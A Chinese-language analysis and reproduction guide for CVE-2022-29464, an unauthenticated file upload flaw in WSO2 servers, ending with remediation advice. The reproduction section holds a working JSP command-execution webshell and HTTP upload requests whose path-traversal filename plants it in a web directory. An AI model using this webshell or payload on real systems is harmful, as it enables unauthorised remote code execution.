WSO2 fileupload 任意文件上传漏洞 CVE-2022-29464
字数 1574 2025-08-07 00:34:54
WSO2 fileupload 任意文件上传漏洞 CVE-2022-29464 深入分析与复现指南
0x00 漏洞概述
CVE-2022-29464 是由 Orange Tsai 发现的 WSO2 产品系列中的一个严重安全漏洞。该漏洞属于未经身份验证的无限制任意文件上传类型,攻击者可以通过上传恶意 JSP 文件在 WSO2 服务器上实现远程代码执行(RCE)。
0x01 受影响版本
- WSO2 API Manager 2.2.0 及以上版本
- WSO2 Identity Server 5.2.0 及以上版本
- WSO2 Identity Server Analytics 5.4.0, 5.4.1, 5.5.0, 5.6.0
- WSO2 Identity Server as Key Manager 5.3.0 及以上版本
- WSO2 Enterprise Integrator 6.2.0 及以上版本
0x02 环境搭建
下载受影响版本
-
WSO2 API Manager 4.0.0 下载链接:
https://github.com/wso2/product-apim/releases/download/v4.0.0/wso2am-4.0.0.zip -
源代码下载(用于调试分析):
https://github.com/wso2/product-apim/archive/refs/tags/v4.0.0.zip
启动环境
- 解压下载的
wso2am-4.0.0.zip - 进入
bin目录 - 执行
api.manager.sh启动服务 - 可添加调试参数方便远程调试
- 服务启动后访问
https://localhost:9443验证是否成功
0x03 漏洞分析
漏洞根源
在配置文件 identity.xml 中,/fileupload 路由对应的 FileUploadServlet 缺乏权限验证机制。
关键代码分析
-
入口点 -
FileUploadServlet#doPost方法:protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { try { fileUploadExecutorManager.execute(request, response); } catch (Exception e) { String msg = "File upload failed "; log.error(msg, e); throw new ServletException(e); } } -
调用链:
execute:55, ToolsAnyFileUploadExecutorexecuteGeneric:104, AbstractFileUploadExecutorexecute:436, FileUploadExecutorManager$CarbonXmlFileUploadExecHandlerstartExec:320, FileUploadExecutorManager$FileUploadExecutionHandlerManagerexecute:127, FileUploadExecutorManager
-
漏洞核心位置 -
ToolsAnyFileUploadExecutor#execute方法:public boolean execute(HttpServletRequest request, HttpServletResponse response) throws CarbonException, IOException { PrintWriter out = response.getWriter(); try { Map fileResourceMap = (Map) configurationContext .getProperty(ServerConstants.FILE_RESOURCE_MAP); if (fileResourceMap == null) { fileResourceMap = new TreeBidiMap(); configurationContext.setProperty(ServerConstants.FILE_RESOURCE_MAP, fileResourceMap); } List<FileItemData> fileItems = getAllFileItems(); for (FileItemData fileItem : fileItems) { String uuid = String.valueOf(System.currentTimeMillis() + Math.random()); String serviceUploadDir = configurationContext .getProperty(ServerConstants.WORK_DIR) + File.separator + "extra" + File.separator + uuid + File.separator; File dir = new File(serviceUploadDir); if (!dir.exists()) { dir.mkdirs(); } // 关键漏洞点:文件名完全可控,导致目录遍历 File uploadedFile = new File(dir, fileItem.getFileItem().getFieldName()); try (FileOutputStream fileOutStream = new FileOutputStream(uploadedFile)) { fileItem.getDataHandler().writeTo(fileOutStream); fileOutStream.flush(); } response.setContentType("text/plain; charset=utf-8"); fileResourceMap.put(uuid, uploadedFile.getAbsolutePath()); out.write(uuid); } out.flush(); } catch (Exception e) { // 错误处理 } finally { out.close(); } return true; }
漏洞利用关键
- 文件名完全可控:攻击者可以通过构造特殊的文件名实现目录遍历
- 无身份验证:
/fileupload/toolsAny端点无需任何认证 - JSP 执行:上传到 web 应用目录的 JSP 文件会被自动解析执行
0x04 漏洞复现
基本利用步骤
- 构造恶意 JSP 文件(webshell)
- 通过
/fileupload/toolsAny端点上传 - 访问上传的 JSP 文件执行任意命令
恶意 JSP 文件示例
<FORM>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if (cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd, null, null);
BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
while ((s = sI.readLine()) != null) {
output += s+"</br>";
}
} catch (IOException e) {
e.printStackTrace();
}
}
out.println(output);
%>
利用请求示例
普通上传(返回UUID):
POST /fileupload/toolsAny HTTP/1.1
Host: localhost:9443
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 729
Content-Type: multipart/form-data; boundary=4ef9f369a86bfaadf5ec3177278d49c0
User-Agent: python-requests/2.22.0
--4ef9f369a86bfaadf5ec3177278d49c0
Content-Disposition: form-data; name="1.jsp"; filename="1.jsp"
<恶意JSP内容>
--4ef9f369a86bfaadf5ec3177278d49c0--
目录遍历上传(直接上传到web目录):
POST /fileupload/toolsAny HTTP/1.1
Host: localhost:9443
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 729
Content-Type: multipart/form-data; boundary=4ef9f369a86bfaadf5ec3177278d49c0
User-Agent: python-requests/2.22.0
--4ef9f369a86bfaadf5ec3177278d49c0
Content-Disposition: form-data; name="../../repository/deployment/server/webapps/authenticationendpoint/1.jsp"; filename="../../repository/deployment/server/webapps/authenticationendpoint/1.jsp"
<恶意JSP内容>
--4ef9f369a86bfaadf5ec3177278d49c0--
访问webshell
上传成功后,访问:
https://target.com/authenticationendpoint/1.jsp?cmd=whoami
0x05 修复建议
-
升级到已修复版本:WSO2 已发布安全补丁
-
临时缓解措施:
- 限制对
/fileupload端点的访问 - 在反向代理或WAF上添加对可疑文件上传的过滤规则
- 监控服务器上的可疑文件创建
- 限制对
-
代码层面修复:
- 对上传文件名进行严格校验,防止目录遍历
- 为文件上传功能添加身份验证
- 限制可上传的文件类型
0x06 总结
CVE-2022-29464 是一个高危漏洞,利用简单且影响广泛。攻击者无需任何认证即可上传恶意文件并实现远程代码执行。管理员应及时检查受影响系统并应用安全更新。